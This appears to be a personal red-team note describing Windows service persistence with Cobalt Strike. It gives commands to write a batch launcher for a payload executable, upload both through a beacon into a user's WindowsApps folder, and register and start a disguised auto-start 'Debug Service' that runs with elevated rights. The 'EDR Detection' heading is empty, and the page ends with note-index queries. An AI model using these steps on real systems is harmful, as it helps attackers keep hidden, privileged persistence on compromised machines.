Windows Service Elevated Persistence

With Cobalt Strike

Step One - Prepare db_svc.bat file

Command

bash
cat > debug_svc.bat << __END__
@echo off
powershell.exe Start-Process -FilePath C:\Users\robb.stark\AppData\Local\Microsoft\WindowsApps\debug_svc.exe
__END__

Step Two - Upload debug_svc.bat and debug_svc.exe

Command

beacon> cd C:\Users\robb.stark\AppData\Local\Microsoft\WindowsApps
beacon> upload /home/jorkle/debug_svc.exe
beacon> upload /home/jorkle/debug_svc.bat

Step Three - Create and Start debug_svc

Command

sc_create dbgsvc "Debug Service" "cmd.exe /c C:\Users\robb.stark\AppData\Local\Microsoft\WindowsApps\debug_svc.bat" "Windows Debug Service" 0 2 3
svc_start dbgsvc

EDR Detection (Example)

Related

Related Notes

All Related Notes

TABLE file.ctime as "Created", tags as "Tags"
FROM "New Notes"
WHERE contains(tags, "windows") OR contains(tags, "persistence") OR contains(tags, "elevated")
SORT file.ctime DESC

windows

TABLE file.ctime as "Created", tags as "Tags"
FROM "New Notes"
WHERE contains(tags, "windows")
SORT file.ctime DESC

persistence

TABLE file.ctime as "Created", tags as "Tags"
FROM "New Notes"
WHERE contains(tags, "persistence")
SORT file.ctime DESC

elevated

TABLE file.ctime as "Created", tags as "Tags"
FROM "New Notes"
WHERE contains(tags, "elevated")
SORT file.ctime DESC